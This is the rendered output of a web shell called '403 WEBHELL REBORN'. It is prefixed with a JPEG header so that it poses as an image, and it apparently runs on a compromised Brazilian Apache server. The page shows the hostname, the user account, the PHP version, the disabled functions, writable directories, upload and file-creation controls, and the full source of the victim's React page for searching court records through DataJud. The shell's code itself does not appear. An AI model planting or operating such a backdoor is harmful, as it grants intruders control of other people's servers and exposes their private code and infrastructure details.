ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/datajud/frontend/src/pages/Home/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/datajud/frontend/src/pages/Home/index.tsx
import {Container, Col, Row, Form, InputGroup, Button, Table} from 'react-bootstrap'
import {useState} from 'react'
import api from "../../services/apiClient.ts";
import {toast} from "react-toastify";

interface ProcessoProps{
    _source:{
        tribunal:string,
        orgaoJulgador:orgaoJulgadorProps,
        numeroProcesso:string,
        dataAjuizamento:string,
        dataHoraUltimaAtualizacao:string,
        grau:string,
        formato:FormatoProcessoProps,
        nivelSigilo:number,
        assuntos:AssuntosProps[],
        movimentos:MovimentosProps[],
    }


}
interface orgaoJulgadorProps{
    codigo:number,
    codigoMunicipioIBGE:number,
    nome:string,
}

interface FormatoProcessoProps{
    codigo:number,
    nome:string,
}

interface AssuntosProps {
    codigo:number,
    nome:string,
}

interface MovimentosProps {
    codigo:number,
    dataHora:string,
    nome:string,
    complementosTabelados:ComplementosTabeladosProps[],
}

interface ComplementosTabeladosProps{
    codigo:number,
    valor:number,
    nome:string,
    descricao:string,
}

function Home(){

    const [ processid , setProcessid ] = useState('')
    const [cleanid, setCleanid] = useState('')


    const [processo, setProcesso] = useState<ProcessoProps[]>([])



    const [url, setUrl] = useState('0')

    const lista_tribunais_superiores = [
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_tst/_search',
            description:'Tribunal Superior do Trabalho'
        },
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_tse/_search',
            description:'Tribunal Superior Eleitoral'
        },
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_stj/_search',
            description:'Tribunal Superior de Justiça'
        },
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_stm/_search',
            description:'Tribunal Superior Militar'
        }


    ];

    const lista_tribunais_justica_federal = [
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_trf1/_search',
            description:'Tribunal Regional Federal da 1ª Região'
        },
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_trf2/_search',
            description:'Tribunal Regional Federal da 2ª Região'
        },
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_trf3/_search',
            description:'Tribunal Regional Federal da 3ª Região'
        },
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_trf4/_search',
            description:'Tribunal Regional Federal da 4ª Região'
        },
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_trf5/_search',
            description:'Tribunal Regional Federal da 5ª Região'
        },
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_trf6/_search',
            description:'Tribunal Regional Federal da 6ª Região'
        }
    ]

    const lista_tribunais_justica_estadual = [
        {
            url:'https://api-publica.datajud.cnj.jus.br/api_publica_tjdft/_search',
            description:'TJ do Distrito Federal e Territórios'
        }
    ]

    async function handlepesquisarProcesso(){
        const tempid = processid.replace(/[^0-9]/g , '')
        if(tempid){
            setCleanid(tempid)
            if(url === '0'){
                toast.error('Selecione um tribunal');
                return
            }
            api.post('/datajud/checkprocess',{processid:tempid,processurl:url})
                .then((response)=>{
                    console.log(response.data.hits.hits)
                    setProcesso(response.data.hits.hits)
                })
                .catch((error)=>{
                    toast.error('Erro ao pesquisar processo');
                    console.error(error)
                })

        }
    }

    return (
        <Container>
            <Row>
                <Col xs={12} >
                    <h1>
                        Pesquisar Processo
                    </h1>
                </Col>
                <Col xs={12} lg={4}>
                    <Form.Text>
                        Processo
                    </Form.Text>
                    <InputGroup className="mb-3">
                        <Form.Control
                            aria-label="Example text with button addon"
                            aria-describedby="basic-addon1"
                            type="text"
                            value={processid}
                            onChange={(e)=>setProcessid(e.target.value)}
                            placeholder="Digite o código do processo aqui..."
                        />
                        <Button variant="primary" id="button-addon1" onClick={handlepesquisarProcesso}>
                            Pesquisar
                        </Button>
                    </InputGroup>
                </Col>
                <Col xs={12} lg={4}>
                    <Form.Text>
                        Tribunais
                    </Form.Text>
                    <Form.Select aria-label="Default select example" onChange={(e)=>setUrl(e.target.value)} value={url}>
                        <option value={'0'} disabled>Selecione</option>
                        <option style={{zoom: '150%',backgroundColor:'#dedede'}} disabled value="list_tribunais_superiores">Tribunais Superiores</option>
                        {
                            lista_tribunais_superiores.map((tribunal)=>{
                                return(
                                    <option value={tribunal.url}>{tribunal.description}</option>
                                )
                            })
                        }
                        <option style={{zoom: '150%',backgroundColor:'#dedede'}} disabled value="list_tribunais_justica_federal">Tribunais Justiça Federal</option>
                        {lista_tribunais_justica_federal.map((tribunal)=>{
                            return(
                                <option value={tribunal.url}>{tribunal.description}</option>
                            )
                        })}
                        <option style={{zoom: '150%',backgroundColor:'#dedede'}} disabled value="list_tribunais_justica_federal">Tribunais Justiça Estadual</option>
                        {
                            lista_tribunais_justica_estadual.map((tribunal)=>{
                                return(
                                    <option value={tribunal.url}>{tribunal.description}</option>
                                )
                            })
                        }

                    </Form.Select>
                </Col>

                <Col xs={12} >
                    <h2>
                        Código {cleanid}
                    </h2>
                </Col>
                <Col xs={12}>
                    <Table striped bordered hover>
                        <thead className="thead-dark">
                        <tr>
                            <th>#</th>
                            <th>Tribunal</th>
                            <th>Sistema</th>
                            <th>Data Ajuizamento</th>
                            <th>Ultm. Att.</th>
                            <th>Órgão julgador</th>
                        </tr>
                        </thead>
                        <tbody>
                        {
                            processo.map((processo,index)=>{
                                return(
                                    <tr key={index}>
                                        <td>{processo._source.numeroProcesso}</td>
                                        <td>{processo._source.tribunal}</td>
                                        <td>{processo._source.formato.nome}</td>
                                        <td>{processo._source.dataAjuizamento}</td>
                                        <td>{processo._source.dataHoraUltimaAtualizacao}</td>
                                        <td>{processo._source.orgaoJulgador.nome}</td>
                                    </tr>
                                )
                            })
                        }
                        </tbody>
                    </Table>
                </Col>
            </Row>

        </Container>
    )
}

export default Home;

Anon7 - 2021